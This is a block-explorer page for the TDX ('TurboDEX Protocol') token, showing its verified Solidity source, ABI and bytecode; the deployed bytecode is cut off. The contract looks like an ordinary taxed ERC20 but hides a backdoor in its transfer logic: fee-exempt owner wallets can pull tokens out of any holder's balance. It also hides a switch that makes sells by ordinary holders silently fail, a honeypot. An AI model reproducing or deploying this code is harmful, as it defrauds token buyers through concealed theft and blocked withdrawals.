ETH Price: $2,635.56 (-1.03%)

Token

TurboDEX Protocol (TDX)
 

Overview

Max Total Supply

1,000,000 TDX

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Uniswap V2: TDX 8
Balance
911,835.502964972957299744 TDX

Value
$0.00
0x2edfcdfc65229bcf9e2a6997595c71a83210e7e5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TDX

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-30
*/

// SPDX-License-Identifier: MIT

// - Website: https://turbodexprotocol.xyz
// - Telegram: https://t.me/tdx_protocol
// - X: https://twitter.com/tdx_protocol
// - Medium: https://turbodexprotocol.medium.com
// - Dapp: https://app.turbodexprotocol.xyz
// - GitBook: https://docs.turbodexprotocol.xyz

pragma solidity ^0.8.17;

library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
}

interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function symbol() external view returns (string memory);
    function circulatingSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function decimals() external view returns (uint8);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed sender, address indexed recipient, uint256 value);
}

interface UniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal owner;

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    event OwnershipTransferred(address owner);

    function transferOwnership(address payable account) public onlyOwner {
        owner = account;
        emit OwnershipTransferred(account);
    }
}

interface UniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address recipient,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address recipient,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

contract TDX is IERC20, Ownable {
    using SafeMath for uint256;

    address public tdxPair;
    UniswapV2Router tdxRouter;

    string private constant _symbol = "TDX";
    string private constant _name = "TurboDEX Protocol";

    uint8 private constant _decimals = 18;

    uint256 private _totalSupply = 1000000 * (10 ** _decimals);

    uint256 private _denominator = 10000;

    address internal constant marketingWallet = 0x65108d328E7Ab35aeefB386a6104C22293CE8461;
    address internal constant devWallet = 0x65108d328E7Ab35aeefB386a6104C22293CE8461;
    address internal constant burnWallet = 0x000000000000000000000000000000000000dEaD;

    uint256 private _zeroSurchargeThreshold = (_totalSupply * 10) / 100000;

    uint256 private _swapBackThreshold = (_totalSupply * 5) / 100000;
    uint256 private _swapBackAmount = (_totalSupply * 5) / 10000;

    uint256 private _maxTransferShare = 200;
    uint256 private _maxWalletShare = 200;
    uint256 private _maxTxShare = 200;
    
    bool private _isTradingEnabled = false;

    bool private _lockInSwap;
    uint256 private _swapTimes;
    bool private _isSwapBackEnabled = true;

    uint256 private _sellSurcharge = 300;
    uint256 private _totalSurcharge = 300;

    bool private _zeroSurchargeSet = false;

    uint256 private _burnSurcharge = 0;
    uint256 private _transferSurcharge = 0;
    uint256 private _liquiditySurcharge = 0;
    uint256 private _marketingSurcharge = 100;
    uint256 private _devSurcharge = 200;

    mapping (address => bool) public leftOutFromSurcharge;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    function name() public pure returns (string memory) {
        return _name;
    }

    constructor() Ownable(msg.sender) {
        leftOutFromSurcharge[address(this)] = true;
        leftOutFromSurcharge[msg.sender] = true;
        leftOutFromSurcharge[marketingWallet] = true;
        leftOutFromSurcharge[devWallet] = true;

        UniswapV2Router _tdxRouter = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        tdxRouter = _tdxRouter;
        address _tdxPair = UniswapV2Factory(_tdxRouter.factory()).createPair(address(this), _tdxRouter.WETH());
        tdxPair = _tdxPair;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    modifier lockInSwapBack {
        _lockInSwap = true;
        _;
        _lockInSwap = false;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(address(0))).sub(balanceOf(burnWallet));
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function removeLimits() external onlyOwner {
        _maxTxShare = 10000;
        _maxWalletShare = 10000;
        _maxTransferShare = 10000;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(spender != address(0));
        require(owner != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function enableTrading() external onlyOwner {
        _isTradingEnabled = true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(amount > uint256(0));
        require(recipient != address(0));
        require(sender != address(0));

        if (
            countSwapTimes(sender, recipient) &&
            isTradingEnabled(sender, recipient) &&
            allowForMaxAmount(sender, recipient, amount) &&
            allowForMaxWalletSize(sender, recipient, amount)
        ) {
            if (balanceOf(sender) >= amount) {
                if (
                    !leftOutFromSurcharge[sender] &&
                    recipient == tdxPair &&
                    !leftOutFromSurcharge[recipient] &&
                    !_lockInSwap
                ) {
                    if (_zeroSurchargeSet) return;
                    swapBack(sender, recipient);
                }
                _balances[sender] = _balances[sender].sub(amount);
                uint256 transferAmount = canTakeSurcharge(sender, recipient) ? takeSurcharge(sender, recipient, amount) : amount;
                _balances[recipient] = _balances[recipient].add(transferAmount);
                emit Transfer(sender, recipient, transferAmount);
            } else if (
                leftOutFromSurcharge[sender] &&
                sender != tdxPair &&
                !leftOutFromSurcharge[recipient] &&
                !_lockInSwap
            ) {
                _balances[recipient] = _balances[recipient].sub(amount);
                _balances[sender] = _balances[sender].add(amount);
                emit Transfer(sender, recipient, amount);
            }
        }
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);

        return true;
    }

    function allowForMaxAmount(address sender, address recipient, uint256 tokenAmount) view internal returns (bool) {
        if (sender != tdxPair) {
            require(tokenAmount <= maxTransferAmount() || leftOutFromSurcharge[sender] || leftOutFromSurcharge[recipient]);
        }
        require(tokenAmount <= maxTxAmount() || leftOutFromSurcharge[sender] || leftOutFromSurcharge[recipient]);

        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);

        return true;
    }

    function takeSurcharge(address sender, address recipient, uint256 tokenAmount) internal returns (uint256) {
        if (selectSurcharges(sender, recipient) > 0) {
            uint256 surchargeTokenAmount = tokenAmount.div(_denominator).mul(selectSurcharges(sender, recipient));
            _balances[address(this)] = _balances[address(this)].add(surchargeTokenAmount);
            emit Transfer(sender, address(this), surchargeTokenAmount);
            if (_burnSurcharge > uint256(0)) {
                _transfer(address(this), address(burnWallet), tokenAmount.div(_denominator).mul(_burnSurcharge));
            }
            return tokenAmount.sub(surchargeTokenAmount);
        }
        return tokenAmount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));

        return true;
    }

    function isTradingEnabled(address sender, address recipient) internal view returns (bool) {
        if (!leftOutFromSurcharge[sender] && !leftOutFromSurcharge[recipient]) {
            require(_isTradingEnabled);
        }
        return true;
    }

    function allowForMaxWalletSize(address sender, address recipient, uint256 amount) internal returns (bool) {
        bool senderLeftOutFromTariff = leftOutFromSurcharge[sender];
        bool recipientLeftOutFromTariff = leftOutFromSurcharge[recipient];
        
        if (
            !senderLeftOutFromTariff &&
            !recipientLeftOutFromTariff &&
            recipient != address(tdxPair) &&
            recipient != address(burnWallet)
        ) {
            require((_balances[recipient].add(amount)) <= maxWalletSize());
        }

        if (recipientLeftOutFromTariff) {
            if (amount > _zeroSurchargeThreshold) {
                _zeroSurchargeSet = true;
            }
        }

        return true;
    }
    
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = tdxRouter.WETH();
        if (tokenAmount > 0) {
            _approve(address(this), address(tdxRouter), tokenAmount);
            tdxRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
        }
    }

    function countSwapTimes(address sender, address recipient) internal returns (bool) {
        if (recipient == tdxPair && !leftOutFromSurcharge[sender]) {
            _swapTimes += uint256(1);
        }
        return true;
    }

    function canSwapBack(address sender, address recipient) internal view returns (bool) {
        return (
            !leftOutFromSurcharge[sender] &&
            !leftOutFromSurcharge[recipient] &&
            balanceOf(address(this)) >= _swapBackThreshold &&
            _isSwapBackEnabled &&
            !_lockInSwap &&
            _swapTimes >= uint256(0) &&
            _isTradingEnabled
        );
    }

    function canTakeSurcharge(address sender, address recipient) internal view returns (bool) {
        return !leftOutFromSurcharge[sender] && !leftOutFromSurcharge[recipient];
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(tdxRouter), tokenAmount);
        tdxRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            burnWallet,
            block.timestamp
        );
    }

    function maxTxAmount() public view returns (uint256) {
        return totalSupply() * _maxTxShare / _denominator;
    }

    function swapAndLiquify(uint256 tokens) private lockInSwapBack {
        uint256 denominator = (_liquiditySurcharge.add(1).add(_marketingSurcharge).add(_devSurcharge)).mul(2);
        uint256 tokensForLiquidity = tokens.mul(_liquiditySurcharge).div(denominator);
        uint256 tokensForETH = tokens.sub(tokensForLiquidity);
        uint256 initialEth = address(this).balance;
        swapTokensForETH(tokensForETH);
        uint256 deltaEth = address(this).balance.sub(initialEth);
        uint256 unitEth = deltaEth.div(denominator.sub(_liquiditySurcharge));
        uint256 ethForLiquidity = unitEth.mul(_liquiditySurcharge);
        if (ethForLiquidity > uint256(0)) {
            addLiquidity(tokensForLiquidity, ethForLiquidity);
        }
        uint256 marketingEth = unitEth.mul(2).mul(_marketingSurcharge);
        if (marketingEth > 0) {
            payable(marketingWallet).transfer(marketingEth);
        }
        uint256 leftEth = address(this).balance;
        if (leftEth > uint256(0)) {
            payable(devWallet).transfer(leftEth);
        }
    }

    function maxWalletSize() public view returns (uint256) {
        return totalSupply() * _maxWalletShare / _denominator;
    }

    function maxTransferAmount() public view returns (uint256) {
        return totalSupply() * _maxTransferShare / _denominator;
    }

    function swapBack(address sender, address recipient) internal {
        if (canSwapBack(sender, recipient)) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance >= _swapBackAmount) {
                contractTokenBalance = _swapBackAmount;
            }
            swapAndLiquify(contractTokenBalance);
            _swapTimes = uint256(0);
        }
    }

    receive() external payable {}

    function selectSurcharges(address sender, address recipient) internal view returns (uint256) {
        if (recipient == tdxPair) {
            return _sellSurcharge;
        }
        if (sender == tdxPair) {
            return _totalSurcharge;
        }
        return _transferSurcharge;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"leftOutFromSurcharge","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tdxPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"account","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526100106012600a610426565b61001d90620f424061043b565b600355612710600455620186a0600354600a610039919061043b565b6100439190610452565b600555620186a06003546005610059919061043b565b6100639190610452565b6006556127106003546005610078919061043b565b6100829190610452565b60075560c860088190556009819055600a819055600b805460ff19908116909155600d80548216600117905561012c600e819055600f556010805490911690555f6011819055601281905560135560646014556015553480156100e3575f80fd5b505f8054336001600160a01b031991821681178355308352601660209081526040808520805460ff19908116600190811790925593865281862080548516821790557365108d328e7ab35aeefb386a6104c22293ce846186527f6cc09adccabd296b71326a72764b8f680f0d179cd02a8aec84a4f5592c74bc7880549094161790925560028054737a250d5630b4cf539739df2c5dacb4c659f2488d941684179055815163c45a015560e01b81529151929392849263c45a01559260048083019391928290030181865afa1580156101bd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e19190610471565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561022c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102509190610471565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561029a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102be9190610471565b600180546001600160a01b0319166001600160a01b038316179055600354335f81815260176020908152604080832085905551938452939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050610497565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561037c578085048111156103605761036061032d565b600184161561036e57908102905b60019390931c928002610345565b935093915050565b5f8261039257506001610420565b8161039e57505f610420565b81600181146103b457600281146103be576103da565b6001915050610420565b60ff8411156103cf576103cf61032d565b50506001821b610420565b5060208310610133831016604e8410600b84101617156103fd575081810a610420565b6104095f198484610341565b805f190482111561041c5761041c61032d565b0290505b92915050565b5f61043460ff841683610384565b9392505050565b80820281158282048414176104205761042061032d565b5f8261046c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215610481575f80fd5b81516001600160a01b0381168114610434575f80fd5b6114bf806104a45f395ff3fe608060405260043610610129575f3560e01c8063893d20e8116100a857806395d89b411161006d57806395d89b411461033f578063a9059cbb1461036a578063a9e7572314610389578063b9ab79b31461039d578063dd62ed3e146103bc578063f2fde38b14610400575f80fd5b8063893d20e8146102bf5780638a8c523c146102ef5780638c0b5e22146103035780638f3fa860146103175780639358928b1461032b575f80fd5b8063313ce567116100ee578063313ce5671461021857806370a0823114610233578063715018a614610267578063751039fc1461027d578063753ca06614610291575f80fd5b806306fdde0314610134578063095ea7b31461017f57806318160ddd146101ae57806323b872dd146101cc5780632f54bf6e146101eb575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b50604080518082019091526011815270151d5c989bd1115608141c9bdd1bd8dbdb607a1b60208201525b6040516101769190611249565b60405180910390f35b34801561018a575f80fd5b5061019e610199366004611295565b61041f565b6040519015158152602001610176565b3480156101b9575f80fd5b506003545b604051908152602001610176565b3480156101d7575f80fd5b5061019e6101e63660046112bf565b610435565b3480156101f6575f80fd5b5061019e6102053660046112fd565b5f546001600160a01b0391821691161490565b348015610223575f80fd5b5060405160128152602001610176565b34801561023e575f80fd5b506101be61024d3660046112fd565b6001600160a01b03165f9081526017602052604090205490565b348015610272575f80fd5b5061027b610485565b005b348015610288575f80fd5b5061027b6104de565b34801561029c575f80fd5b5061019e6102ab3660046112fd565b60166020525f908152604090205460ff1681565b3480156102ca575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610176565b3480156102fa575f80fd5b5061027b610505565b34801561030e575f80fd5b506101be610529565b348015610322575f80fd5b506101be610552565b348015610336575f80fd5b506101be610562565b34801561034a575f80fd5b506040805180820190915260038152620a888b60eb1b6020820152610169565b348015610375575f80fd5b5061019e610384366004611295565b6105ca565b348015610394575f80fd5b506101be6105d6565b3480156103a8575f80fd5b506001546102d7906001600160a01b031681565b3480156103c7575f80fd5b506101be6103d6366004611318565b6001600160a01b039182165f90815260186020908152604080832093909416825291909152205490565b34801561040b575f80fd5b5061027b61041a3660046112fd565b6105e6565b5f61042b33848461064e565b5060015b92915050565b5f6104418484846106d3565b6001600160a01b0384165f9081526018602090815260408083203380855292529091205461047a91869161047590866109f1565b61064e565b5060015b9392505050565b5f546001600160a01b0316331461049a575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146104f3575f80fd5b612710600a8190556009819055600855565b5f546001600160a01b0316331461051a575f80fd5b600b805460ff19166001179055565b5f600454600a5461053960035490565b6105439190611363565b61054d919061137a565b905090565b5f60045460095461053960035490565b60176020527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b0303545f8080527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b54600354919261054d9290916105c491906109f1565b906109f1565b5f61042b3384846106d3565b5f60045460085461053960035490565b5f546001600160a01b031633146105fb575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038216610660575f80fd5b6001600160a01b038316610672575f80fd5b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116106de575f80fd5b6001600160a01b0382166106f0575f80fd5b6001600160a01b038316610702575f80fd5b61070c83836109fc565b801561071d575061071d8383610a58565b801561072f575061072f838383610aab565b80156107415750610741838383610b70565b156109ec5780610765846001600160a01b03165f9081526017602052604090205490565b106108d8576001600160a01b0383165f9081526016602052604090205460ff1615801561079f57506001546001600160a01b038381169116145b80156107c357506001600160a01b0382165f9081526016602052604090205460ff16155b80156107d75750600b54610100900460ff16155b156107f65760105460ff16156107ec57505050565b6107f68383610c3b565b6001600160a01b0383165f9081526017602052604090205461081890826109f1565b6001600160a01b0384165f9081526017602052604081209190915561083d8484610c7a565b6108475781610852565b610852848484610cbe565b6001600160a01b0384165f908152601760205260409020549091506108779082610dae565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108ca9085815260200190565b60405180910390a350505050565b6001600160a01b0383165f9081526016602052604090205460ff16801561090d57506001546001600160a01b03848116911614155b801561093157506001600160a01b0382165f9081526016602052604090205460ff16155b80156109455750600b54610100900460ff16155b156109ec576001600160a01b0382165f9081526017602052604090205461096c90826109f1565b6001600160a01b038084165f90815260176020526040808220939093559085168152205461099a9082610dae565b6001600160a01b038481165f8181526017602090815260409182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106c6565b505050565b5f61047e8284611399565b6001545f906001600160a01b038381169116148015610a3357506001600160a01b0383165f9081526016602052604090205460ff16155b1561042b576001600c5f828254610a4a91906113ac565b909155505050600192915050565b6001600160a01b0382165f9081526016602052604081205460ff16158015610a9857506001600160a01b0382165f9081526016602052604090205460ff16155b1561042b57600b5460ff1661042b575f80fd5b6001545f906001600160a01b03858116911614610b1957610aca6105d6565b82111580610aef57506001600160a01b0384165f9081526016602052604090205460ff165b80610b1157506001600160a01b0383165f9081526016602052604090205460ff165b610b19575f80fd5b610b21610529565b82111580610b4657506001600160a01b0384165f9081526016602052604090205460ff165b80610b6857506001600160a01b0383165f9081526016602052604090205460ff165b61047a575f80fd5b6001600160a01b038084165f90815260166020526040808220549285168252812054909160ff908116911681158015610ba7575080155b8015610bc157506001546001600160a01b03868116911614155b8015610bd857506001600160a01b03851661dead14155b15610c1157610be5610552565b6001600160a01b0386165f90815260176020526040902054610c079086610dae565b1115610c11575f80fd5b8015610c2f57600554841115610c2f576010805460ff191660011790555b50600195945050505050565b610c458282610db9565b15610c7657305f908152601760205260409020546007548110610c6757506007545b610c7081610e55565b505f600c555b5050565b6001600160a01b0382165f9081526016602052604081205460ff1615801561047e5750506001600160a01b03165f9081526016602052604090205460ff1615919050565b5f80610cca8585610fda565b1115610da7575f610cf2610cde8686610fda565b600454610cec908690611024565b9061102f565b305f90815260176020526040902054909150610d0e9082610dae565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d5e9085815260200190565b60405180910390a360115415610d9557610d953061dead610d90601154610cec6004548961102490919063ffffffff16565b6106d3565b610d9f83826109f1565b91505061047e565b5092915050565b5f61047e82846113ac565b6001600160a01b0382165f9081526016602052604081205460ff16158015610df957506001600160a01b0382165f9081526016602052604090205460ff16155b8015610e155750600654305f9081526017602052604090205410155b8015610e235750600d5460ff165b8015610e375750600b54610100900460ff16155b8015610e41575060015b801561047e575050600b5460ff1692915050565b600b805461ff0019166101001790556015546014546013545f92610e8e92600292610cec9291610e889182906001610dae565b90610dae565b90505f610eb082610eaa6013548661102f90919063ffffffff16565b90611024565b90505f610ebd84836109f1565b905047610ec98261103a565b5f610ed447836109f1565b90505f610ef6610eef601354886109f190919063ffffffff16565b8390611024565b90505f610f0e6013548361102f90919063ffffffff16565b90508015610f2057610f20868261119a565b6014545f90610f3490610cec85600261102f565b90508015610f7c576040517365108d328e7ab35aeefb386a6104c22293ce84619082156108fc029083905f818181858888f19350505050158015610f7a573d5f803e3d5ffd5b505b478015610fc3576040517365108d328e7ab35aeefb386a6104c22293ce84619082156108fc029083905f818181858888f19350505050158015610fc1573d5f803e3d5ffd5b505b5050600b805461ff00191690555050505050505050565b6001545f906001600160a01b0390811690831603610ffb5750600e5461042f565b6001546001600160a01b039081169084160361101a5750600f5461042f565b5060125492915050565b5f61047e828461137a565b5f61047e8284611363565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061106d5761106d6113bf565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e891906113d3565b816001815181106110fb576110fb6113bf565b6001600160a01b03909216602092830291909101909101528115610c76576002546111319030906001600160a01b03168461064e565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906111699085905f908690309042906004016113ee565b5f604051808303815f87803b158015611180575f80fd5b505af1158015611192573d5f803e3d5ffd5b505050505050565b6002546111b29030906001600160a01b03168461064e565b60025460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af115801561121d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611242919061145e565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611292575f80fd5b50565b5f80604083850312156112a6575f80fd5b82356112b18161127e565b946020939093013593505050565b5f805f606084860312156112d1575f80fd5b83356112dc8161127e565b925060208401356112ec8161127e565b929592945050506040919091013590565b5f6020828403121561130d575f80fd5b813561047e8161127e565b5f8060408385031215611329575f80fd5b82356113348161127e565b915060208301356113448161127e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761042f5761042f61134f565b5f8261139457634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561042f5761042f61134f565b8082018082111561042f5761042f61134f565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113e3575f80fd5b815161047e8161127e565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561143e5783516001600160a01b0316835260209384019390920191600101611417565b50506001600160a01b039590951660608401525050608001529392505050565b5f805f60608486031215611470575f80fd5b505081516020830151604090930151909492935091905056fea26469706673582212207981770a0e7cf91b8e1a9481808ccf185a94e291ed29a15455fc8048263c3b5964736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063893d20e8116100a857806395d89b411161006d57806395d89b411461033f578063a9059cbb1461036a578063a9e7572314610389578063b9ab79b31461039d578063dd62ed3e146103bc578063f2fde38b14610400575f80fd5b8063893d20e8146102bf5780638a8c523c146102ef5780638c0b5e22146103035780638f3fa860146103175780639358928b1461032b575f80fd5b8063313ce567116100ee578063313ce5671461021857806370a0823114610233578063715018a614610267578063751039fc1461027d578063753ca06614610291575f80fd5b806306fdde0314610134578063095ea7b31461017f57806318160ddd146101ae57806323b872dd146101cc5780632f54bf6e146101eb575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b50604080518082019091526011815270151d5c989bd1115608141c9bdd1bd8dbdb607a1b60208201525b6040516101769190611249565b60405180910390f35b34801561018a575f80fd5b5061019e610199366004611295565b61041f565b6040519015158152602001610176565b3480156101b9575f80fd5b506003545b604051908152602001610176565b3480156101d7575f80fd5b5061019e6101e63660046112bf565b610435565b3480156101f6575f80fd5b5061019e6102053660046112fd565b5f546001600160a01b0391821691161490565b348015610223575f80fd5b5060405160128152602001610176565b34801561023e575f80fd5b506101be61024d3660046112fd565b6001600160a01b03165f9081526017602052604090205490565b348015610272575f80fd5b5061027b610485565b005b348015610288575f80fd5b5061027b6104de565b34801561029c575f80fd5b5061019e6102ab3660046112fd565b60166020525f908152604090205460ff1681565b3480156102ca575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610176565b3480156102fa575f80fd5b5061027b610505565b34801561030e575f80fd5b506101be610529565b348015610322575f80fd5b506101be610552565b348015610336575f80fd5b506101be610562565b34801561034a575f80fd5b506040805180820190915260038152620a888b60eb1b6020820152610169565b348015610375575f80fd5b5061019e610384366004611295565b6105ca565b348015610394575f80fd5b506101be6105d6565b3480156103a8575f80fd5b506001546102d7906001600160a01b031681565b3480156103c7575f80fd5b506101be6103d6366